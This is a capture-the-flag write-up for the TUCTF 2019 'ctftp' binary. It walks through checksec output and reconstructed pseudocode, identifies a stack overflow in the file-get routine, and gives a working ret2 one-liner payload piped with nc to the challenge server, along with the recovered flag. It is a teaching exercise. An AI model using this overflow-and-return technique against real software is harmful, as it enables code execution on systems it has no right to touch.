ctftp wasn't solved that many... but it actually was one of easiest ones really!
let's see what file it is:```$ file ./ctftpctftp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, BuildID[sha1]=fee7d187626ef9b20f3eb50b1047438c6df6c9d3, for GNU/Linux 3.2.0, not stripped```so what security mechanisms it has?```$ checksec ./ctftp[*] '/home/cthulhu/practice/ctf/tuctf-2019/pwn/ctftp/ctftp'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)```
here is... ok, I was very lazy on this one... sort of reverse engineered pseudo code:```#include <stdio.h>#include <stdlib.h>
char username[]; // 0x804c080char *rfiles[] = {    ""};
intmatch(char *arg1, char *arg2){    //}
intrestrictedFiles(char *filename){    ebp_0xc = 1;
    // i => ebp_0x8    for (int i=0; i < ebp_0xc; i++) {        ebp_0x10 = blacklist[i]; // ??        if (match(filename, ebp_0x10) != -1) {            printf("", i);            return 1;        }    }
    return 0;}
voidfilter(char *filename, int len){    ebp_0x10 = malloc(0x40);    memset(ebp_0x10, 0, 0x40);
    int i = 0; // ebp-0x8    int j = 0; // ebp-0xc
    for (; i < len; i++) {        char ch = filename[i]; // ebp-0x11
        if (   ch != '/'            || ch != '\\'            || ch != ','            || ch != ':'            || ch != ';'            || ch != '`'            || ch != '\n')        {            ebp_0x10[j] = ch;            j++;        }    }
    memcpy(filename, ebp_0x10, 0x40);    free(ebp_0x10);}
intcheckFile(){    // permission checks (access)}
voidsendFile(char *filename){    // read file and write to stdout}
voidget(){    printf("");
    memset(ebp_0x48, 0, 0x40);
    ebp_0x8 = read(0, ebp_0x48, 0x80);
    if (restrictedFiles(ebp_0x48) == 0) {        filter(ebp_0x48, ebp_0x8);        if (checkFile(ebp_0x48) == 0) {            printf("");            sendFile(ebp_0x48);        }    }}
voidwelcome(){    puts("");    printf("");    scanf("", name);    printf("", name);}
intmenu(){    puts("");    printf("");
    int ret = 0;    scanf("", ret);
    return ret;}
intmain(){    setvbuf(...);    setvbuf(...);
    welcome();    do {        choice = menu();
        if (choice == 1) {            system("");        }        else if (choice == 2) {            get();        }        else {            puts("");        }
    } while (1);
    return 0;}```
well... obviously, the vuln relies in here:```ebp_0x8 = read(0, ebp_0x48, 0x80);```!!!stack-based buffer overflow!!!
can we pwn it?yes, we just need to enter a name (which gets stored in .bss segment, meaning static address) and then, enter 2 to call `get` function so then overwrite the `ret` address on stack, and so... do a rop/ret2libc/whatever
also, the fancy fact is: `system` function is imported!quite awesome, since it's imported, it gets a plt and got entry, thus we can just use that to get code execution hell a lot easier that other approaches.
I actually used `sendFile` function to just get the flag from path `flags/flag.txt` which I guess the `flag.txt`, truth is, I forgot that `system` is used in .text at all.
payload struct: (filepath or bash command) + '\n' + '2\n' + padding + (sendFile or system@plt) + "AAAA" + username_addrexploit:```ruby -e 'puts "flags\n" + "2\n" + "A"*76 + "\x63\x95\x04\x08"+"AAAA"+"\x80\xc0\x04\x08"' | nc chal.tuctf.com 30500```
flag: `TUCTF{f1l73r_f1r57_7h3y_541d._y0u'll_b3_53cur3_7h3y_541d}`